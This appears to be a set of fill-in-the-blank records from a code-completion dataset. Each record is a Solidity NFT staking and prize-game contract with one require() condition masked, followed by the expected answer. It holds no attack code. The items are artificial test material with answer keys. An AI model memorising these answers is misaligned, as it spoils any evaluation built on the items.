msg.sender; tokenStakedAt_A[_tokenID] = block.timestamp; stakedCount_A++; } else{ require(pausedStake_B != true, "Contract B Staking Paused"); require(<FILL_ME>) parentNFT_B.safeTransferFrom(msg.sender, address(this), _tokenID, 1, "0x00"); tokenOwnerOf_B[_tokenID] = msg.sender; tokenStakedAt_B[_tokenID] = block.timestamp; stakedCount_B++; } } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
tokenOwnerOf_B[_tokenID]==0x0000000000000000000000000000000000000000,"NFT ALREADY STAKED"
98,986
tokenOwnerOf_B[_tokenID]==0x0000000000000000000000000000000000000000
"Token(s) Is Not Stakable"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { for (uint256 i = 0; i < _tokenIDs.length; i++) { uint256 _tokenID = _tokenIDs[i]; require(<FILL_ME>) stakeOne(_tokenID, _contract_A); } } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
canStakeChecker(_contract_A,_tokenID),"Token(s) Is Not Stakable"
98,986
canStakeChecker(_contract_A,_tokenID)
"NFT NOT STAKED"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { uint256 timeElapsed; for (uint256 i = 0; i < _tokenIDs.length; i++) { uint256 _tokenID = _tokenIDs[i]; uint256 _batchBonus = getBatchBonus(_contract_A, _tokenID); uint256 _calcTime; if (_contract_A){ require(<FILL_ME>) //rewards can be set within this function based on the amount and time NFTs are staked _calcTime += (block.timestamp - tokenStakedAt_A[_tokenID]); } else{ require(tokenOwnerOf_B[_tokenID] != 0x0000000000000000000000000000000000000000, "NFT NOT STAKED"); //rewards can be set within this function based on the amount and time NFTs are staked _calcTime += (block.timestamp - tokenStakedAt_B[_tokenID]); } if (tokenBonus[_contract_A][_tokenID] != 0) { timeElapsed += _calcTime * tokenBonus[_contract_A][_tokenID]; } else{ timeElapsed += _calcTime * _batchBonus; } } return timeElapsed * EMISSION_RATE; } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
tokenOwnerOf_A[_tokenID]!=0x0000000000000000000000000000000000000000,"NFT NOT STAKED"
98,986
tokenOwnerOf_A[_tokenID]!=0x0000000000000000000000000000000000000000
"NFT NOT STAKED"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { uint256 timeElapsed; for (uint256 i = 0; i < _tokenIDs.length; i++) { uint256 _tokenID = _tokenIDs[i]; uint256 _batchBonus = getBatchBonus(_contract_A, _tokenID); uint256 _calcTime; if (_contract_A){ require(tokenOwnerOf_A[_tokenID] != 0x0000000000000000000000000000000000000000, "NFT NOT STAKED"); //rewards can be set within this function based on the amount and time NFTs are staked _calcTime += (block.timestamp - tokenStakedAt_A[_tokenID]); } else{ require(<FILL_ME>) //rewards can be set within this function based on the amount and time NFTs are staked _calcTime += (block.timestamp - tokenStakedAt_B[_tokenID]); } if (tokenBonus[_contract_A][_tokenID] != 0) { timeElapsed += _calcTime * tokenBonus[_contract_A][_tokenID]; } else{ timeElapsed += _calcTime * _batchBonus; } } return timeElapsed * EMISSION_RATE; } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * 